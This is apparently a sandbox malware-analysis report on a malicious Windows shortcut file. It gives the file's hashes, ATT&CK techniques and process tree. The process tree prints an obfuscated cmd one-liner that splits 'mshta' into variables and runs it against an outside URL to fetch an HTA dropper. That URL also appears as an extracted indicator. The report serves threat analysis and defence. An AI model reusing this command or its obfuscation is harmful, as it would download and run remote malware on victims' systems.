4b4e5f68ba3b719cd47135c7ebd767103894396ae1cb47baa69b968419f0ae97

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-H2OMVB.lnk
Size 1KB
Sample260803-qvrm3acl2x
SHA256 4b4e5f68ba3b719cd47135c7ebd767103894396ae1cb47baa69b968419f0ae97
MD5 857ac767db6006823b502dafa1bc0b24
SHA1 79c915a5c8c49dabd1baf49bc6300e1b0a83b21d
SHA512 2b327b8fe49bd689d19ce6780b6fe56fd7daf47941ccf8962bffc5c56c0852fa440ac10fccf8af084c0574e755f70eff71ef0edf7599c73fa94821bf8630128e
TLSH
T131314C503FFD0A14F3B78E7394BBAB1095BBB9569E20C61E0141464D1072614E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1112	cmd.exe
4912	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 4912	1112	cmd.exe	90
PID 4912 wrote to memory of 3128	4912	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-H2OMVB.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1112
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set RaqXm=msh&&set NEIUe=ta&&start "" !RaqXm!!NEIUe! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads